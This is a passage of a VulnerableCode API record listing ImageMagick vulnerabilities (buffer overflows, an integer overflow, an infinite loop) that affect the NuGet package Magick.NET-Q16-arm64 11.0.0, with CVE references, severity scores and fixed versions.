Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/508706?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/508706?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@11.0.0", "type": "nuget", "namespace": "", "name": "Magick.NET-Q16-arm64", "version": "11.0.0", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "14.12.0", "latest_non_vulnerable_version": "14.13.1", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50327?format=api", "vulnerability_id": "VCID-11v2-qgx3-47hz", "summary": "ImageMagick: Stack buffer overflow in FTXT reader via oversized integer field\nA stack-based buffer overflow exists in the ImageMagick FTXT image reader. A crafted FTXT file can cause out-of-bounds writes on the stack, leading to a crash.\n\n```\n=================================================================\n==3537074==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffee4850ef0 at pc 0x5607c408fb33 bp 0x7ffee484fe50 sp 0x7ffee484fe40\nWRITE of size 1 at 0x7ffee4850ef0 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25967.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25967.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25967", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05451", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25967" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/9afe96cc325da1e4349fbd7418675af2f8708c10", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/9afe96cc325da1e4349fbd7418675af2f8708c10" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442126", "reference_id": "2442126", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442126" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25967", "reference_id": "CVE-2026-25967", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25967" }, { "reference_url": "https://github.com/advisories/GHSA-72hf-fj62-w6j4", "reference_id": "GHSA-72hf-fj62-w6j4", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-72hf-fj62-w6j4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-72hf-fj62-w6j4", "reference_id": "GHSA-72hf-fj62-w6j4", "reference_type": "", "scores": [ { "value": "7.4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-72hf-fj62-w6j4" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25967", "GHSA-72hf-fj62-w6j4" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-11v2-qgx3-47hz" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/57965?format=api", "vulnerability_id": "VCID-1btu-wnd9-bfbf", "summary": "ImageMagick has a Heap Buffer Overflow in InterpretImageFilename\nA heap buffer overflow was identified in the `InterpretImageFilename` function of ImageMagick. The issue stems from an off-by-one error that causes out-of-bounds memory access when processing format strings containing consecutive percent signs (`%%`).", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53014.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53014.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53014", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00173", "scoring_system": "epss", "scoring_elements": "0.38556", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-53014" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53014", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53014" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick6/commit/79b6ed03770781d996d1710b89fbb887e5ea758a", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick6/commit/79b6ed03770781d996d1710b89fbb887e5ea758a" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/29d82726c7ec20c07c49ba263bdcea16c2618e03", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/29d82726c7ec20c07c49ba263bdcea16c2618e03" }, { "reference_url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339", "reference_id": "1109339", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379941", "reference_id": "2379941", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2379941" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53014", "reference_id": "CVE-2025-53014", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53014" }, { "reference_url": "https://github.com/advisories/GHSA-hm4x-r5hc-794f", "reference_id": "GHSA-hm4x-r5hc-794f", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-hm4x-r5hc-794f" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-hm4x-r5hc-794f", "reference_id": "GHSA-hm4x-r5hc-794f", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-14T18:26:03Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-hm4x-r5hc-794f" }, { "reference_url": "https://usn.ubuntu.com/7728-1/", "reference_id": "USN-7728-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/7728-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/85858?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.7.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-juaq-c8xf-rkb1" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sca8-3j9v-2qgn" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-z5ve-fkb6-8yhs" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.7.0" } ], "aliases": [ "CVE-2025-53014", "GHSA-hm4x-r5hc-794f" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1btu-wnd9-bfbf" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50885?format=api", "vulnerability_id": "VCID-1dkp-eq4m-kuey", "summary": "ImageMagick: Integer overflow in DIB coder can result in out of bounds read or write\nAn integer overflow in DIB coder can result in out of bounds read or write", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28693.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28693.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28693", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00067", "scoring_system": "epss", "scoring_elements": "0.21057", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28693" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28693", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28693" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445888", "reference_id": "2445888", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445888" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28693", "reference_id": "CVE-2026-28693", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28693" }, { "reference_url": "https://github.com/advisories/GHSA-hffp-q43q-qq76", "reference_id": "GHSA-hffp-q43q-qq76", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-hffp-q43q-qq76" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-hffp-q43q-qq76", "reference_id": "GHSA-hffp-q43q-qq76", "reference_type": "", "scores": [ { "value": "8.1", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-10T15:57:44Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-hffp-q43q-qq76" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:6713", "reference_id": "RHSA-2026:6713", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:6713" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74575?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.4", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.4" } ], "aliases": [ "CVE-2026-28693", "GHSA-hffp-q43q-qq76" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-1dkp-eq4m-kuey" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50328?format=api", "vulnerability_id": "VCID-1hrc-y5vr-efgj", "summary": "ImageMagick: Infinite loop vulnerability when parsing a PCD file\nWhen a PCD file does not contain a valid marker, the DecodeImage() function becomes trapped in an infinite loop while searching for the marker, causing the program to become unresponsive and continuously consume CPU resources, ultimately leading to system resource exhaustion and denial of service.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24485.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24485.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24485", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.05403", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24485" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24485", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24485" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:48:11Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/332c1566acc2de77857032d3c2504ead6210ff50", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:48:11Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/332c1566acc2de77857032d3c2504ead6210ff50" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442091", "reference_id": "2442091", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442091" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24485", "reference_id": "CVE-2026-24485", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24485" }, { "reference_url": "https://github.com/advisories/GHSA-pqgj-2p96-rx85", "reference_id": "GHSA-pqgj-2p96-rx85", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-pqgj-2p96-rx85" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pqgj-2p96-rx85", "reference_id": "GHSA-pqgj-2p96-rx85", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", 